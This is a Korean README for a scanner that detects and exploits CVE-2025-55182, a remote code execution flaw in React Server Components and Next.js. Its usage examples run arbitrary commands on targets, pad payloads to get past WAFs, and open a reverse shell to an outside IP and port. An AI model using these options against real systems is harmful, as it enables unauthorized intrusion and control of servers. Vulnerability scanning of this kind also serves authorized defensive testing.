
assetnote CVE-2025-55182 스캐너의 진화된 버전
RSC/Next.js RCE를 위한 고충실도 탐지
React Server Components 및 Next.js 애플리케이션에서 RCE(Remote Code Execution) 취약점을 탐지하기 위한 스캐너입니다.
React2Shell Scanner는 RSC(React Server Components) 및 Next.js를 사용하는 애플리케이션에서 RCE(원격 코드 실행) 취약점을 식별하기 위한 특수 도구입니다. 이 도구는 다음 CVE와 관련된 취약점을 탐지합니다:
이 도구는 side-channel 탐지와 RCE 개념 증명(PoC)을 활용한 고충실도 검사를 수행하며, HTTP 응답을 자동으로 파싱하여 실행된 명령의 동적 결과를 추출할 수 있습니다.
이 버전은 Assetnote Security Research Team이 개발한 원본 스캐너를 @imguimoraes가 편집한 버전입니다. 원본 RCE PoC는 @maple3142가 만들었습니다.
pip install requests tqdm
또는 requirements.txt 파일 사용:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [opções]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| 옵션 | 설명 |
|---|---|
-u, --url URL | 확인할 단일 URL 또는 호스트 |
-l, --list FILE | 호스트 목록이 포함된 파일 (한 줄에 하나) |
| 옵션 | 설명 |
|---|---|
-t, --threads N | 동시 스레드 수 (기본값: 10) |
--timeout SECONDS | 요청 제한 시간(초) (기본값: 10) |
-k, --insecure | SSL 인증서 검증 비활성화 (기본적으로 활성화됨) |
| 옵션 | 설명 |
|---|---|
-H, --header "Key: Value" | 사용자 지정 HTTP 헤더 추가 (여러 번 사용 가능) |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
스캐너는 상태를 나타내는 색상 코드와 함께 결과를 표시합니다:
취약한 호스트의 경우, X-Action-Redirect 헤더 또는 응답 본문의 자동 추출을 통해 실행된 명령의 결과를 사용할 수 있을 때 표시됩니다.
-o 옵션을 사용하면 출력이 다음 구조의 JSON 형식으로 저장됩니다:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
결과 필드:
vulnerable: 취약하면 true, 취약하지 않으면 false, 오류가 발생하면 nullcommand_result: 응답에서 추출된 실행 명령 결과 (사용 가능한 경우)final_url: 테스트된 최종 URL (활성화된 경우 리디렉션 추적 후)status_code: 응답의 HTTP 상태 코드request: 전송된 전체 HTTP 요청response: 수신된 HTTP 응답 (처음 2000자)error: 오류가 있는 경우 오류 메시지timestamp: 확인의 UTC 타임스탬프스캐너는 두 가지 탐지 방법을 제공합니다:
Safe Check (--safe-check): 코드를 실행하지 않고 응답의 오류 패턴을 확인하는 비침습적 side-channel 탐지. 영향이 없는 초기 스캔에 유용합니다.
RCE PoC: 결과를 동적으로 추출하는 실제 원격 코드 실행. 시스템 명령 실행을 위해 Node.js child_process 기반 페이로드를 사용합니다.
스캐너는 실행된 명령의 결과를 추출하기 위해 HTTP 응답을 자동으로 파싱합니다:
X-Action-Redirect 헤더 추출 (형식: NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} 또는 1:E{"digest":"<result>"})--payload 매개변수를 통해 모든 사용자 지정 명령/페이로드와 함께 작동추출은 고정 값에 의존하지 않고 동적으로 수행되므로 모든 명령의 실행을 검증할 수 있습니다.
--waf-bypass 옵션을 사용하면:
--waf-bypass-size로 구성 가능한 크기 (기본값: 128KB)--payload 매개변수를 사용하면 실행할 명령을 지정할 수 있습니다:
echo $((41*271)) (결과: 11111)--windows가 활성화된 경우 PowerShell 명령 사용명령 결과는 반환된 값과 관계없이 자동으로 추출되어 표시됩니다.
--reverse-shell 옵션을 사용하면 reverse shell 연결을 설정할 수 있습니다:
IP:PORT (예: 192.168.1.100:4444)powershell.exe 실행/bin/sh 실행이 도구는 교육 목적과 승인된 보안 테스트에만 사용하도록 설계되었습니다.
원본 RCE 익스플로잇은 @maple3142가 만들었습니다.
원본 스캐너는 Assetnote Security Research Team이 개발했습니다:
이 편집 버전은 원본 스캐너의 기능을 유지하면서 추가 개선 사항을 포함합니다:
편집자: guiimoraes
버그를 발견하거나 개선 제안이 있으면 저장소에 문제를 자세히 설명하는 issue를 열어 주세요.
| 옵션 | 설명 |
|---|
-o, --output FILE | 결과를 JSON 형식으로 저장할 출력 파일 |
--all-results | 취약한 결과만이 아닌 모든 결과를 파일에 저장 |
-v, --verbose | 상세 출력 (분석을 위한 응답 스니펫 표시) |
-q, --quiet | 조용한 모드 (취약한 호스트만 표시) |
--no-color | 컬러 출력 비활성화 |
| 옵션 | 설명 |
|---|
--safe-check | PoC RCE 대신 안전한 side-channel 탐지 사용 (코드를 실행하지 않음) |
--windows | Unix 셸 대신 PowerShell 페이로드 사용 (Windows 환경용) |
--waf-bypass | WAF 우회를 위해 페이로드에 임의 데이터 추가 (기본값: 128KB) |
--waf-bypass-size KB | WAF 우회를 위한 임의 데이터 크기(KB) (기본값: 128) |
--payload COMMAND | RCE에서 실행할 사용자 지정 명령 (기본값: echo $((41*271))) |
--reverse-shell IP:PORT | 지정된 IP:PORT로 reverse shell 연결 생성 |